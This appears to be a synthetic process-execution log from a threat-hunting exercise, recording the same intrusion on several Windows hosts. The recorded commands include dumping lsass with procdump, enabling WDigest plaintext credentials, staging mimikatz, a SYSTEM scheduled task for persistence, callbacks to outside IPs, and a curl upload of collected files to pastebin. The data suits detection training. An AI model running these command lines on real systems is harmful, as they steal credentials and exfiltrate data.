WNUE-LAPTOP 2022-01-07 06:11:40.3190 ipconfig.exe fdbbaef7975bd8fe4584460a36644fc69ac2b5a4146d594d605448ce0aa3161a ipconfig /all ipconfig.exe fdbbaef7975bd8fe4584460a36644fc69ac2b5a4146d594d605448ce0aa3161a
WNUE-LAPTOP 2022-01-07 06:12:33.3190 echo.exe e808bcc59737caabd6c07eddd374844845d6a56763eba756f21e0606711a9206 echo GET mimikatz.exe >> ftp.txt echo.exe e808bcc59737caabd6c07eddd374844845d6a56763eba756f21e0606711a9206
WNUE-LAPTOP 2022-01-07 06:12:35.3190 echo.exe dcafd765ffd156d80789680496370fe9085a70f99bb76f5e8aab77b278aedc5e copy C:\Users\Public\Documents\* F:\exfil\Users\ echo.exe dcafd765ffd156d80789680496370fe9085a70f99bb76f5e8aab77b278aedc5e
WNUE-LAPTOP 2022-01-07 06:12:46.3190 echo.exe ad9032c6341907b2656ff0093b4096614281fcfd289948043627103cba8949d5 copy C:\Users\Public\Downloads\* F:\exfil\Users\ echo.exe ad9032c6341907b2656ff0093b4096614281fcfd289948043627103cba8949d5
WNUE-LAPTOP 2022-01-07 06:13:25.3190 echo.exe b76019e76480f13bb02d7af0a58ec91f4b7857909dab32485e47ae07b6137e15 copy C:\Users\Public\Research\* F:\exfil\Users\ echo.exe b76019e76480f13bb02d7af0a58ec91f4b7857909dab32485e47ae07b6137e15
WNUE-LAPTOP 2022-01-07 06:14:04.3190 echo.exe 18563150e29da281c56060a99dbfc88e046387bd24a6773f48fce1e8bc0431f curl F:\exfil\full.gz https://pastebin.com/mZ38bYLt:/NotCompanySecrets.gz echo.exe 18563150e29da281c56060a99dbfc88e046387bd24a6773f48fce1e8bc0431f
R8FI-LAPTOP 2022-01-05 11:42:19.5870 updater.dll 0e7e0e888f22b5cc83ce5f2560f9f331d89b8e02875e98ace822e074f2ee486b whoami cmd.exe 5fd13949d6a1f0ab9bc8a6424e63fdabe6f97b1587e47110a4ea5d56712786b3
R8FI-LAPTOP 2022-01-05 11:52:19.5870 updater.dll 0e7e0e888f22b5cc83ce5f2560f9f331d89b8e02875e98ace822e074f2ee486b schtasks /create /sc minute /mo 1 /tn "ttttask" /tr C:\Windows\system32\infector.exe /ru "SYSTEM" schtasks.exe efb9a88c6269d15da7b7c15e47365691d1154a47f8f19025d0a98163f40a0dab
R8FI-LAPTOP 2022-01-06 07:52:27.5870 cmd.exe 950e7b1b8a84b715cacaace1d3dd3403ffb68d76942c610dff8698f725dec9c1 ipconfigg cmd.exe 950e7b1b8a84b715cacaace1d3dd3403ffb68d76942c610dff8698f725dec9c1
R8FI-LAPTOP 2022-01-06 07:53:17.5870 cmd.exe fa900dd5679e93a65b6ecc5f5fd19f7c66ffa1bf37e5fe31e7eec68981d538b9 C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp cmd.exe fa900dd5679e93a65b6ecc5f5fd19f7c66ffa1bf37e5fe31e7eec68981d538b9
R8FI-LAPTOP 2022-01-06 07:54:17.5870 cmd.exe 91e099c7ebd3a573cc8be9c08aa7bbb1c274e9d1d826360032c55daca372a359 C:\Windows\system32\cmd.exe /C getsystem cmd.exe 91e099c7ebd3a573cc8be9c08aa7bbb1c274e9d1d826360032c55daca372a359
R8FI-LAPTOP 2022-01-06 07:54:40.5870 procdump64.exe bc512e23c0d4e5197f8fd294f741a4ab91bd0774cdddd356e4fc602a2e1d6434 C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp procdump64.exe bc512e23c0d4e5197f8fd294f741a4ab91bd0774cdddd356e4fc602a2e1d6434
R8FI-LAPTOP 2022-01-06 07:55:16.5870 ipconfig.exe 9894a51a74a748b702efe9f971a9cde3839ee887040998e30297c9263cb87215 ipconfig /all ipconfig.exe 9894a51a74a748b702efe9f971a9cde3839ee887040998e30297c9263cb87215
R8FI-LAPTOP 2022-01-06 07:55:30.5870 echo.exe 6fccbad3e5446174db5b27354469076a98fd2a466bdd42cbe65ce26dffe7f401 echo GET mimikatz.exe >> ftp.txt echo.exe 6fccbad3e5446174db5b27354469076a98fd2a466bdd42cbe65ce26dffe7f401
R8FI-LAPTOP 2022-01-06 07:55:46.5870 echo.exe 1e7d1879e178e19764a25f14e89992a0b5cfe17623153dd6777ecb49266a7feb copy C:\Users\Public\Documents\* F:\exfil\Users\ echo.exe 1e7d1879e178e19764a25f14e89992a0b5cfe17623153dd6777ecb49266a7feb
R8FI-LAPTOP 2022-01-06 07:55:55.5870 echo.exe 4a2b95460ae90883de0bb5cbb5d71bf9c358f8b60bca601e378ca5b224dfe1b5 copy C:\Users\Public\Downloads\* F:\exfil\Users\ echo.exe 4a2b95460ae90883de0bb5cbb5d71bf9c358f8b60bca601e378ca5b224dfe1b5
R8FI-LAPTOP 2022-01-06 07:56:43.5870 echo.exe aee59f6018b7e678623f53abf61ebdc4456077b9c6d6d3aa1b12d80af5750dd1 copy C:\Users\Public\Research\* F:\exfil\Users\ echo.exe aee59f6018b7e678623f53abf61ebdc4456077b9c6d6d3aa1b12d80af5750dd1
R8FI-LAPTOP 2022-01-06 07:57:04.5870 echo.exe de0cd8321b262a60838443782bac70e3492087748c62a5f0eecaa9a699e542fc curl F:\exfil\full.gz https://pastebin.com/mZ38bYLt:/NotCompanySecrets.gz echo.exe de0cd8321b262a60838443782bac70e3492087748c62a5f0eecaa9a699e542fc
PSB0-LAPTOP 2022-01-08 13:39:56.8990 updater.dll 1dc1dbfc1d636fed5cebe43787a7abf2df4fbb51e1beaec34ba72dd5152edc81 net user Administratr cmd.exe b4c614f1d257e046b43157b990747d169840b37138d39afaf4b75b793e62c20d
PSB0-LAPTOP 2022-01-08 13:46:56.8990 updater.dll 1dc1dbfc1d636fed5cebe43787a7abf2df4fbb51e1beaec34ba72dd5152edc81 reg add HKLM\SYSTEM\CurrentCOntroLSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f cmd.exe 2517b45d66352aec3c7498ef850e846200b06f97f0d466fb29009f02c9feb699
PSB0-LAPTOP 2022-01-08 18:47:21.8990 cmd.exe 3c68b37c61fa2fd2570b1fc63ed2fffcd15b7a6628ba123d181d0f214dd6fd0e ipconfigg cmd.exe 3c68b37c61fa2fd2570b1fc63ed2fffcd15b7a6628ba123d181d0f214dd6fd0e
PSB0-LAPTOP 2022-01-08 18:47:58.8990 cmd.exe 869273fee55f5d15ded88d0340e4af96a668e8ff354f3741cdb5c72a7738d1 C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp cmd.exe 869273fee55f5d15ded88d0340e4af96a668e8ff354f3741cdb5c72a7738d1
PSB0-LAPTOP 2022-01-08 18:48:56.8990 cmd.exe 1bbaa9f275a45ee1188eced53c36d6c4b2c52f4ed8817f0b754692f6463cd671 C:\Windows\system32\cmd.exe /C getsystem cmd.exe 1bbaa9f275a45ee1188eced53c36d6c4b2c52f4ed8817f0b754692f6463cd671
PSB0-LAPTOP 2022-01-08 18:48:59.8990 procdump64.exe 9e2c8aed0f73e475ff7253a4299e0517d0400894d605e9cf6f178d4e9d87f8dc C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp procdump64.exe 9e2c8aed0f73e475ff7253a4299e0517d0400894d605e9cf6f178d4e9d87f8dc
PSB0-LAPTOP 2022-01-08 18:49:28.8990 ipconfig.exe 528a1ba64ef91a882ee37143d0bc2b145233d6c32b60417ce23c818258b9e005 ipconfig /all ipconfig.exe 528a1ba64ef91a882ee37143d0bc2b145233d6c32b60417ce23c818258b9e005
PSB0-LAPTOP 2022-01-08 18:50:06.8990 echo.exe abd256fd4906bc3a6e76f7b672cb27ea52f3d9e736490a8f5049ca579a059414 echo GET mimikatz.exe >> ftp.txt echo.exe abd256fd4906bc3a6e76f7b672cb27ea52f3d9e736490a8f5049ca579a059414
PSB0-LAPTOP 2022-01-08 18:50:58.8990 echo.exe 4cf24308ac9befe895583373126e31f05fc604d81542d819f826cd00f4f99406 copy C:\Users\Public\Documents\* F:\exfil\Users\ echo.exe 4cf24308ac9befe895583373126e31f05fc604d81542d819f826cd00f4f99406
PSB0-LAPTOP 2022-01-08 18:51:43.8990 echo.exe fc49e4794a825d21543b22cec3b2871198ff509cfb037fb039b8e6756c1d132f copy C:\Users\Public\Downloads\* F:\exfil\Users\ echo.exe fc49e4794a825d21543b22cec3b2871198ff509cfb037fb039b8e6756c1d132f
PSB0-LAPTOP 2022-01-08 18:51:50.8990 echo.exe a2b18002c707aa42448d1774ce77e535786e6be443957f938de6a59fe6144dd copy C:\Users\Public\Research\* F:\exfil\Users\ echo.exe a2b18002c707aa42448d1774ce77e535786e6be443957f938de6a59fe6144dd
PSB0-LAPTOP 2022-01-08 18:52:06.8990 echo.exe 9580dea01db8767bdb5b6546211615834bfb43d1c9c4fa9a72d2dc24c7d4cd17 curl F:\exfil\full.gz https://pastebin.com/mZ38bYLt:/NotCompanySecrets.gz echo.exe 9580dea01db8767bdb5b6546211615834bfb43d1c9c4fa9a72d2dc24c7d4cd17
OJEP-MACHINE 2022-01-08 13:24:21.4490 updater.dll 12fe773f0937324b86821dab26d5b90f75c61adb24fc90a99d5c590304d1d8a0 whoami cmd.exe 5fd13949d6a1f0ab9bc8a6424e63fdabe6f97b1587e47110a4ea5d56712786b3
OJEP-MACHINE 2022-01-08 14:02:21.4490 updater.dll 12fe773f0937324b86821dab26d5b90f75c61adb24fc90a99d5c590304d1d8a0 schtasks /create /sc minute /mo 1 /tn "ttttask" /tr C:\Windows\system32\infector.exe /ru "SYSTEM" schtasks.exe efb9a88c6269d15da7b7c15e47365691d1154a47f8f19025d0a98163f40a0dab
OJEP-MACHINE 2022-01-08 22:02:54.4490 cmd.exe 50e046354bf782bb18489a5cac90221776e05b8ab4da86b9c5f498911d0e96fe ipconfigg cmd.exe 50e046354bf782bb18489a5cac90221776e05b8ab4da86b9c5f498911d0e96fe
OJEP-MACHINE 2022-01-08 22:03:17.4490 cmd.exe 6919ac7e2d21639e18048e08d2fad3413c5a597bea1604ea424dbd97b836b528 C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp cmd.exe 6919ac7e2d21639e18048e08d2fad3413c5a597bea1604ea424dbd97b836b528
OJEP-MACHINE 2022-01-08 22:03:26.4490 cmd.exe 78501c5674b291c261779a0b46561de5f4be58df2320b4dca1f39e29ec112d41 C:\Windows\system32\cmd.exe /C getsystem cmd.exe 78501c5674b291c261779a0b46561de5f4be58df2320b4dca1f39e29ec112d41
OJEP-MACHINE 2022-01-08 22:03:47.4490 procdump64.exe a2135024ae7f99df99604a7d3fd43634216f9cff385c675d020b1901589c58b9 C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp procdump64.exe a2135024ae7f99df99604a7d3fd43634216f9cff385c675d020b1901589c58b9
OJEP-MACHINE 2022-01-08 22:04:16.4490 ipconfig.exe d7c6726b84eb6911d852964977fbb896e942af8915d01177294d60f4513f872d ipconfig /all ipconfig.exe d7c6726b84eb6911d852964977fbb896e942af8915d01177294d60f4513f872d
OJEP-MACHINE 2022-01-08 22:04:39.4490 echo.exe d99ed25fc968d2bc426ec690970433040a81630e54a066ee6b95224640caa03 echo GET mimikatz.exe >> ftp.txt echo.exe d99ed25fc968d2bc426ec690970433040a81630e54a066ee6b95224640caa03
OJEP-MACHINE 2022-01-08 22:04:49.4490 echo.exe 32b7b351dc45ef2262fd17351374ee7bcf0793762e3454db8c8aa76556b31d4a copy C:\Users\Public\Documents\* F:\exfil\Users\ echo.exe 32b7b351dc45ef2262fd17351374ee7bcf0793762e3454db8c8aa76556b31d4a
OJEP-MACHINE 2022-01-08 22:05:11.4490 echo.exe 663201904a88daff1f5d81256f56f84623142468371f2556ec3643fa1e8d3825 copy C:\Users\Public\Downloads\* F:\exfil\Users\ echo.exe 663201904a88daff1f5d81256f56f84623142468371f2556ec3643fa1e8d3825
OJEP-MACHINE 2022-01-08 22:06:06.4490 echo.exe a4417d8530fec64b3efaa303bbdf694717569631a2ec3b32f4f3ee4657c8df89 copy C:\Users\Public\Research\* F:\exfil\Users\ echo.exe a4417d8530fec64b3efaa303bbdf694717569631a2ec3b32f4f3ee4657c8df89
OJEP-MACHINE 2022-01-08 22:06:09.4490 echo.exe 6d7ee7f8d964987938b04c5d00c2789f61424c16ac6cdb10f9632de751e2a672 curl F:\exfil\full.gz https://pastebin.com/mZ38bYLt:/NotCompanySecrets.gz echo.exe 6d7ee7f8d964987938b04c5d00c2789f61424c16ac6cdb10f9632de751e2a672
M491-LAPTOP 2022-01-08 13:50:36.4490 updater.dll 42a337bcec26df0130a11baf9e60179993851b88f1cabec52973f88774e903fb net user Administratr cmd.exe b4c614f1d257e046b43157b990747d169840b37138d39afaf4b75b793e62c20d
M491-LAPTOP 2022-01-08 14:15:36.4490 updater.dll 42a337bcec26df0130a11baf9e60179993851b88f1cabec52973f88774e903fb updater.dll -p 181.190.66.175:8888 updater.dll 76d9e135c83a3902de2f00221cf5546493b790594543d1a92d7af76ffad8baa2
M491-LAPTOP 2022-01-09 04:16:26.4490 cmd.exe 7fbf7f2f00df4e588485e2b64aeeaa3670afe6389b7fe75d5911c1fc44d0c610 ipconfigg cmd.exe 7fbf7f2f00df4e588485e2b64aeeaa3670afe6389b7fe75d5911c1fc44d0c610
M491-LAPTOP 2022-01-09 04:17:09.4490 cmd.exe 6fe1dfa9d7fdbd7519835b540ad89d35e8a835fac96e21c92e80d2b235d8bc70 C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp cmd.exe 6fe1dfa9d7fdbd7519835b540ad89d35e8a835fac96e21c92e80d2b235d8bc70
M491-LAPTOP 2022-01-09 04:17:36.4490 cmd.exe 93b7bd6de9e5d4d400f8e468f2b9008578aa06978c03201e6810a8a1e45bc9a C:\Windows\system32\cmd.exe /C getsystem cmd.exe 93b7bd6de9e5d4d400f8e468f2b9008578aa06978c03201e6810a8a1e45bc9a
M491-LAPTOP 2022-01-09 04:18:02.4490 procdump64.exe be7131fab6f7bb6b5a07e301738cc0a009adea177371cde5b40825a4404bfad7 C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp procdump64.exe be7131fab6f7bb6b5a07e301738cc0a009adea177371cde5b40825a4404bfad7
M491-LAPTOP 2022-01-09 04:18:24.4490 ipconfig.exe 65854c5c10c233849acac96d635b493d93c8b75169619404474e5caf7d1e1984 ipconfig /all ipconfig.exe 65854c5c10c233849acac96d635b493d93c8b75169619404474e5caf7d1e1984
M491-LAPTOP 2022-01-09 04:19:14.4490 echo.exe b0bb558d40c46b675c59396c86ee17b7acf120ea61c6c5ec0030dcdd0bd5cc25 echo GET mimikatz.exe >> ftp.txt echo.exe b0bb558d40c46b675c59396c86ee17b7acf120ea61c6c5ec0030dcdd0bd5cc25
M491-LAPTOP 2022-01-09 04:19:37.4490 echo.exe 7824516544a46b2f4f6798ddfea7568aa5b67f1c0ec58537107f86a8a73e75d2 copy C:\Users\Public\Documents\* F:\exfil\Users\ echo.exe 7824516544a46b2f4f6798ddfea7568aa5b67f1c0ec58537107f86a8a73e75d2
M491-LAPTOP 2022-01-09 04:20:23.4490 echo.exe 72d4f76bd1d920f086776ca526168d3aa84b40b87fd0c1eac2d4ac30903d7819 copy C:\Users\Public\Downloads\* F:\exfil\Users\ echo.exe 72d4f76bd1d920f086776ca526168d3aa84b40b87fd0c1eac2d4ac30903d7819
M491-LAPTOP 2022-01-09 04:20:42.4490 echo.exe d251094a04beaba5636849bef51d2c14689ce1e397d8664a16e7c267ececd044 copy C:\Users\Public\Research\* F:\exfil\Users\ echo.exe d251094a04beaba5636849bef51d2c14689ce1e397d8664a16e7c267ececd044
M491-LAPTOP 2022-01-09 04:21:03.4490 echo.exe 66ecf8c16d826ff7b38e57decfae8be91c1ad39fe64d443b334b056cc7babfdb curl F:\exfil\full.gz https://pastebin.com/mZ38bYLt:/NotCompanySecrets.gz echo.exe 66ecf8c16d826ff7b38e57decfae8be91c1ad39fe64d443b334b056cc7babfdb
KU1J-LAPTOP 2022-01-04 09:28:16.2570 updater.dll 3666cb55d0c4974bfee855ba43d596fc6d10baff5eb45ac8b6432a7d604cb8e9 ping 8.8.8.8 ping.exe 47e06b337d2e78cb6957bb34032508084d11106bd5a5321e9fd12995a4648fe4
KU1J-LAPTOP 2022-01-04 09:56:16.2570 updater.dll 3666cb55d0c4974bfee855ba43d596fc6d10baff5eb45ac8b6432a7d604cb8e9 schtasks /create /sc minute /mo 1 /tn "ttttask" /tr C:\Windows\system32\infector.exe /ru "SYSTEM" schtasks.exe efb9a88c6269d15da7b7c15e47365691d1154a47f8f19025d0a98163f40a0dab
KU1J-LAPTOP 2022-01-05 03:57:11.2570 cmd.exe ca7c78cedcac0e1d1fd60ff979e60bca967f9daa57a795bb7765c57443125845 ipconfigg cmd.exe ca7c78cedcac0e1d1fd60ff979e60bca967f9daa57a795bb7765c57443125845
KU1J-LAPTOP 2022-01-05 03:57:27.2570 cmd.exe 8620cce68ca7e6bcdc8ceeff9a6c4eae3fff438f13d4897c6c17302a18e9bed8 C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp cmd.exe 8620cce68ca7e6bcdc8ceeff9a6c4eae3fff438f13d4897c6c17302a18e9bed8
KU1J-LAPTOP 2022-01-05 03:57:40.2570 cmd.exe 5d65add04deab4d2302d6964dc44c8ecd424ec5521fdbee8bef395d403a6e3a0 C:\Windows\system32\cmd.exe /C getsystem cmd.exe 5d65add04deab4d2302d6964dc44c8ecd424ec5521fdbee8bef395d403a6e3a0
KU1J-LAPTOP 2022-01-05 03:58:14.2570 procdump64.exe 7ba80212e3f3d9c7efbf69b8449994cd5540f776b8cd48dfb3dc325a463b4aa4 C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp procdump64.exe 7ba80212e3f3d9c7efbf69b8449994cd5540f776b8cd48dfb3dc325a463b4aa4
KU1J-LAPTOP 2022-01-05 03:58:47.2570 ipconfig.exe 680b5c999394273e5afbd53c5bbd3a88287ae1637e7edc0886fb5169c3f9b70d ipconfig /all ipconfig.exe 680b5c999394273e5afbd53c5bbd3a88287ae1637e7edc0886fb5169c3f9b70d
KU1J-LAPTOP 2022-01-05 03:59:16.2570 echo.exe 133c99187ac6373de05799b1d1a98ddd66e1549a8e40d92064d0f851ea827d0c echo GET mimikatz.exe >> ftp.txt echo.exe 133c99187ac6373de05799b1d1a98ddd66e1549a8e40d92064d0f851ea827d0c
KU1J-LAPTOP 2022-01-05 03:59:31.2570 echo.exe 784c5ed42b7b88e3a33260fbfdcf9339e9bc66cbad823c6afcc54a23fb1cb885 copy C:\Users\Public\Documents\* F:\exfil\Users\ echo.exe 784c5ed42b7b88e3a33260fbfdcf9339e9bc66cbad823c6afcc54a23fb1cb885
KU1J-LAPTOP 2022-01-05 03:59:50.2570 echo.exe 7ae96d4caa6a6aa69c81d0be37ef72ad78b572c80e7b302ee0247fc495b51f6 copy C:\Users\Public\Downloads\* F:\exfil\Users\ echo.exe 7ae96d4caa6a6aa69c81d0be37ef72ad78b572c80e7b302ee0247fc495b51f6
KU1J-LAPTOP 2022-01-05 04:00:40.2570 echo.exe b58ebf67d8cde04823b2128b41373a5bc349400ceb5f726acc1dc11a17d83257 copy C:\Users\Public\Research\* F:\exfil\Users\ echo.exe b58ebf67d8cde04823b2128b41373a5bc349400ceb5f726acc1dc11a17d83257
KU1J-LAPTOP 2022-01-05 04:01:26.2570 echo.exe e71137ede4516e1dee3d6785a66a074e60bda814cf1b507630d555ccd6a783f5 curl F:\exfil\full.gz https://pastebin.com/mZ38bYLt:/NotCompanySecrets.gz echo.exe e71137ede4516e1dee3d6785a66a074e60bda814cf1b507630d555ccd6a783f5
HYV7-LAPTOP 2022-01-08 13:31:07.8690 updater.dll 09704c11681590ec76715c1a07f342d187c34965f122911037a18433409cdd99 net user Administratr cmd.exe b4c614f1d257e046b43157b990747d169840b37138d39afaf4b75b793e62c20d
HYV7-LAPTOP 2022-01-08 14:31:07.8690 updater.dll 09704c11681590ec76715c1a07f342d187c34965f122911037a18433409cdd99 updater.dll -p 210.97.157.245:8888 updater.dll 76d9e135c83a3902de2f00221cf5546493b790594543d1a92d7af76ffad8baa2
HYV7-LAPTOP 2022-01-08 16:32:01.8690 cmd.exe 267966ad15072fe234b81e787568b1fe662f640b362ac7a52aa9aefdb0187993 ipconfigg cmd.exe 267966ad15072fe234b81e787568b1fe662f640b362ac7a52aa9aefdb0187993
HYV7-LAPTOP 2022-01-08 16:32:50.8690 cmd.exe fc583ad4b168ca618829686e1b8fbf22b8234eb96508f4655e8eb08b71f7ed5f C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp cmd.exe fc583ad4b168ca618829686e1b8fbf22b8234eb96508f4655e8eb08b71f7ed5f
HYV7-LAPTOP 2022-01-08 16:33:48.8690 cmd.exe 3275736605bb28cb405cb8f215ec7fa5945819f21553bad588e5d8403dee75a9 C:\Windows\system32\cmd.exe /C getsystem cmd.exe 3275736605bb28cb405cb8f215ec7fa5945819f21553bad588e5d8403dee75a9
HYV7-LAPTOP 2022-01-08 16:34:35.8690 procdump64.exe 821571cbc7be1fecbaf78a5932c6b706a6bc4a8096a453d65696f22c9dc21bc8 C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp procdump64.exe 821571cbc7be1fecbaf78a5932c6b706a6bc4a8096a453d65696f22c9dc21bc8
HYV7-LAPTOP 2022-01-08 16:35:10.8690 ipconfig.exe 4ba2c76c89713c38112069a4ded88b660521861aa91ac3a60100e2fe4221b350 ipconfig /all ipconfig.exe 4ba2c76c89713c38112069a4ded88b660521861aa91ac3a60100e2fe4221b350
HYV7-LAPTOP 2022-01-08 16:35:12.8690 echo.exe 14895d94e0266461409fb6376492be2f2b1c0634b935e447b6d640032f5505b0 echo GET mimikatz.exe >> ftp.txt echo.exe 14895d94e0266461409fb6376492be2f2b1c0634b935e447b6d640032f5505b0
HYV7-LAPTOP 2022-01-08 16:35:35.8690 echo.exe 275427683974732eb33f5527e8879185d3b28fe612cfeaa5f39cd7ffd182477 copy C:\Users\Public\Documents\* F:\exfil\Users\ echo.exe 275427683974732eb33f5527e8879185d3b28fe612cfeaa5f39cd7ffd182477
HYV7-LAPTOP 2022-01-08 16:35:53.8690 echo.exe 9b1d51b9bcb34305f4f26e0dda1afb680fafa3ae099f279a0c934fdad2f6dee6 copy C:\Users\Public\Downloads\* F:\exfil\Users\ echo.exe 9b1d51b9bcb34305f4f26e0dda1afb680fafa3ae099f279a0c934fdad2f6dee6
HYV7-LAPTOP 2022-01-08 16:36:28.8690 echo.exe a026aab5acc8ea913bcbc6511dd4a166990822ca8684ad0ea9a956aa0292fdff copy C:\Users\Public\Research\* F:\exfil\Users\ echo.exe a026aab5acc8ea913bcbc6511dd4a166990822ca8684ad0ea9a956aa0292fdff
HYV7-LAPTOP 2022-01-08 16:36:35.8690 echo.exe 8ea92a4871247311ea90b6802b29290352c05058e8201baa016766dae4a4df78 curl F:\exfil\full.gz https://pastebin.com/mZ38bYLt:/NotCompanySecrets.gz echo.exe 8ea92a4871247311ea90b6802b29290352c05058e8201baa016766dae4a4df78
DLY5-DESKTOP 2022-01-07 14:03:35.3280 updater.dll 1dc1dbfc1d636fed5cebe43787a7abf2df4fbb51e1beaec34ba72dd5152edc81 whoami cmd.exe 5fd13949d6a1f0ab9bc8a6424e63fdabe6f97b1587e47110a4ea5d56712786b3
DLY5-DESKTOP 2022-01-07 14:37:35.3280 updater.dll 1dc1dbfc1d636fed5cebe43787a7abf2df4fbb51e1beaec34ba72dd5152edc81 updater.dll -p 199.57.49.250:8888 updater.dll 76d9e135c83a3902de2f00221cf5546493b790594543d1a92d7af76ffad8baa2
DLY5-DESKTOP 2022-01-08 00:38:07.3280 cmd.exe 240e624424a8bc804953d5b2e600af1da3bde9983607dbf405f96d8f81cc3a19 ipconfigg cmd.exe 240e624424a8bc804953d5b2e600af1da3bde9983607dbf405f96d8f81cc3a19
DLY5-DESKTOP 2022-01-08 00:38:32.3280 cmd.exe 15bac328abcf4fa682efea83df98a63d9ba94647b87db483a7ab76d6a956a691 C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp cmd.exe 15bac328abcf4fa682efea83df98a63d9ba94647b87db483a7ab76d6a956a691
DLY5-DESKTOP 2022-01-08 00:38:47.3280 cmd.exe b5cf53321f358eaf8636acd77e410d5df3200d8804abf9a08c3a93005935ecd0 C:\Windows\system32\cmd.exe /C getsystem cmd.exe b5cf53321f358eaf8636acd77e410d5df3200d8804abf9a08c3a93005935ecd0
DLY5-DESKTOP 2022-01-08 00:39:41.3280 procdump64.exe c2a02b017d6ccf799c7521e17090c2ed624fbd57980d35272c6dd0e221910ba0 C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp procdump64.exe c2a02b017d6ccf799c7521e17090c2ed624fbd57980d35272c6dd0e221910ba0
DLY5-DESKTOP 2022-01-08 00:40:28.3280 ipconfig.exe 163a4f317ec15d97f57c29ce5a5d016dd7a5b2b7e7740122dfd12f7bc7af21a4 ipconfig /all ipconfig.exe 163a4f317ec15d97f57c29ce5a5d016dd7a5b2b7e7740122dfd12f7bc7af21a4
DLY5-DESKTOP 2022-01-08 00:41:19.3280 echo.exe ac2d3b7acb80f62e57f66a34f5923de44db0d5e78fb6c1af38efd1bdb44d9ee6 echo GET mimikatz.exe >> ftp.txt echo.exe ac2d3b7acb80f62e57f66a34f5923de44db0d5e78fb6c1af38efd1bdb44d9ee6
DLY5-DESKTOP 2022-01-08 00:41:58.3280 echo.exe f19414d35d6ea0870317f329665e640ae2a2a11d5d8abed4b87d29a7320cccdb copy C:\Users\Public\Documents\* F:\exfil\Users\ echo.exe f19414d35d6ea0870317f329665e640ae2a2a11d5d8abed4b87d29a7320cccdb
DLY5-DESKTOP 2022-01-08 00:42:50.3280 echo.exe 4e156308317b9ebac8ef88ef1a6e9d42fee25058378954c95b783bb6441bd445 copy C:\Users\Public\Downloads\* F:\exfil\Users\ echo.exe 4e156308317b9ebac8ef88ef1a6e9d42fee25058378954c95b783bb6441bd445
DLY5-DESKTOP 2022-01-08 00:43:20.3280 echo.exe ce083681ea680331580983a9c462d1e51aa4a6a474308dce933a839367e66a09 copy C:\Users\Public\Research\* F:\exfil\Users\ echo.exe ce083681ea680331580983a9c462d1e51aa4a6a474308dce933a839367e66a09
DLY5-DESKTOP 2022-01-08 00:44:08.3280 echo.exe 78e5b1c3b98d2acdf6fca34566b26bf94b1d8ea3c8bc7bbd50fc737ebb89db01 curl F:\exfil\full.gz https://pastebin.com/mZ38bYLt:/NotCompanySecrets.gz echo.exe 78e5b1c3b98d2acdf6fca34566b26bf94b1d8ea3c8bc7bbd50fc737ebb89db01
ANZL-LAPTOP 2022-01-08 12:57:47.8690 updater.dll 0e7e0e888f22b5cc83ce5f2560f9f331d89b8e02875e98ace822e074f2ee486b net user Administratr cmd.exe b4c614f1d257e046b43157b990747d169840b37138d39afaf4b75b793e62c20d
ANZL-LAPTOP 2022-01-08 13:02:47.8690 updater.dll 0e7e0e888f22b5cc83ce5f2560f9f331d89b8e02875e98ace822e074f2ee486b reg add HKLM\SYSTEM\CurrentCOntroLSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f cmd.exe 2517b45d66352aec3c7498ef850e846200b06f97f0d466fb29009f02c9feb699
ANZL-LAPTOP 2022-01-08 14:03:47.8690 cmd.exe 4a5e584d9e7f9b4f4547e6aa72f4ea75f471acee24c512b72cbe4f988cbe3d74 ipconfigg cmd.exe 4a5e584d9e7f9b4f4547e6aa72f4ea75f471acee24c512b72cbe4f988cbe3d74
ANZL-LAPTOP 2022-01-08 14:04:45.8690 cmd.exe 91b1b8dce0f9703555dcbdc32c5f7b7ee54bc8a758f161af8bbaa7335c8e35da C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp cmd.exe 91b1b8dce0f9703555dcbdc32c5f7b7ee54bc8a758f161af8bbaa7335c8e35da
ANZL-LAPTOP 2022-01-08 14:05:17.8690 cmd.exe eb26684e3baff942c796929f023f9e45c9e580cd4a8191d4591baa936963f54b C:\Windows\system32\cmd.exe /C getsystem cmd.exe eb26684e3baff942c796929f023f9e45c9e580cd4a8191d4591baa936963f54b
ANZL-LAPTOP 2022-01-08 14:05:25.8690 procdump64.exe 5f41ac2363929d8aae0012b0191d087ba9c732af9c2d8f5d39c61654df8d87ff C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp procdump64.exe 5f41ac2363929d8aae0012b0191d087ba9c732af9c2d8f5d39c61654df8d87ff
ANZL-LAPTOP 2022-01-08 14:05:32.8690 ipconfig.exe ef1a0031664b8e161ce13249cface6eed6b411a6e074ff0afc215246aad70fcb ipconfig /all ipconfig.exe ef1a0031664b8e161ce13249cface6eed6b411a6e074ff0afc215246aad70fcb
ANZL-LAPTOP 2022-01-08 14:06:13.8690 echo.exe 57d4ea65b10d76e28deac0a1b2f270a5b8ebef5b3061416c3fdab588654341e8 echo GET mimikatz.exe >> ftp.txt echo.exe 57d4ea65b10d76e28deac0a1b2f270a5b8ebef5b3061416c3fdab588654341e8
ANZL-LAPTOP 2022-01-08 14:07:06.8690 echo.exe 6a00be827f46bc823d665341840fc7f745967133f9a0562818df58dca8ac8625 copy C:\Users\Public\Documents\* F:\exfil\Users\ echo.exe 6a00be827f46bc823d665341840fc7f745967133f9a0562818df58dca8ac8625
